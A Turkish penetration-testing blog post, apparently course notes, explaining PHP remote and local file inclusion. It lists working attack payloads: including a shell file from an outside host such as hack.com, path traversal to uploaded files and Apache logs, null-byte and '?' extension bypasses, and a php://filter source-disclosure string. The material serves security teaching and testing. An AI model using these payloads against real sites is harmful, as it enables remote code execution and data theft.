- PHP uygulamalarında en fazla exploit edilen açıklık türüdür.
- RFI / LFI: Remote File Inclusion / Local File Inclusion.
- Tanımı: Saldırganın hedef web uygulaması üzerine zararlı kod veya kod parçacığı eklemesidir.
- Sunucu tarafındaki bir açıklıktır, sunucu tarafına kod eklenir.
- PHP'de include parametresi önemli. Sonrasında gelen dosyayı bulur, çalıştırır, sonucunu yerleştirir.
- RFI: .....?id=http://hack.com/myshell.txt. Sondaki null karakteridir. Null, satır sonu anlamına gelir. Uygulama, dosya adının sonuna ".php" koyuyorsa bile null karakteri ile satır sonlandığından bu uzantı dikkate alınmayacaktır.
- LFI (Sunucu üzerindeki bir dosya/kod dahil etme): .....?id=../../../../../uploads/myshell.txt
- Bu iş için önce istediğimiz dosyayı sunucuya upload etmemiz gerekir. Bunu yapabilmek için bir örneği "Yayınlanmış Zafiyet Arama Teknikleri" başlığı altında görmüştük. Komutu access.log'a gömüp bu dosyaya erişiyorduk.
- Benzer şekilde PHP için URL sonuna "?" de konabilir; bu karakterden sonrası query string olarak algılanacaktır, dolayısıyla .php uzantısı saldırının gerçekleştirilmesinde probleme neden olmayacaktır.
- LFI örneği: Resim upload edilen bir alanda açıklık var ve resim yerine kodumuzu içeren dosyayı upload ettik. Dosyanın yerini bulmak için upload edilmiş bir resimin özelliklerine bakabiliriz.
- Test için: Bazı kod enjeksiyonu test parametreleri:
- ?file=.htaccess
- ?file=../../../../../../../../var/log/apache/error.log
- ?file=[http|https|ftp]://websec.wordpress.com/shell.txt
- ?file=php://filter/convert.base64-encode/resource=index.php (sayfanın base64 encoded halini döner, onu da burp vb aracından decode ederiz)
- ?file=http://websec.wordpress.com/shell.txt%23
- Tüm bu parametreleri tek tek denemeyeceğiz, otomatize araçlar bunu bizim için yapacak, Netsparker mesela.
Önceleri web uygulama güvenliğine özel olması düşünülen blog, daha sonra diğer sızma testleri konularını da kapsayacak şekilde genişletilmiştir.
30 Mayıs 2010 Pazar
18: Code Injection
Kaydol:
Kayıt Yorumları (Atom)
Web Uygulama Sızma Testleri İçin Kontrol Listeleri - V
Checklist for Web App Pentesting - V 6. Veri Denetimi (Data Validation) Testleri 6.1 Girdi Denetimi Bütün girdiler denetlenmelidir....
-
& (%26) URL sorgu tümcesindeki parametreleri mesaj gövdesinden ayırmada kullanılır. = (%3d) URL sorgu tümcesindeki parametrelerin i...
-
Checklist for Web App Pentesting - V 6. Veri Denetimi (Data Validation) Testleri 6.1 Girdi Denetimi Bütün girdiler denetlenmelidir....
-
Bu yazı, web uygulama sızma testleri sırasında kullanılan araç çeşitlerini konu almıştır. Bu araçların hangi amaçla kullanıldığı anlatılarak...
Hiç yorum yok:
Yorum Gönder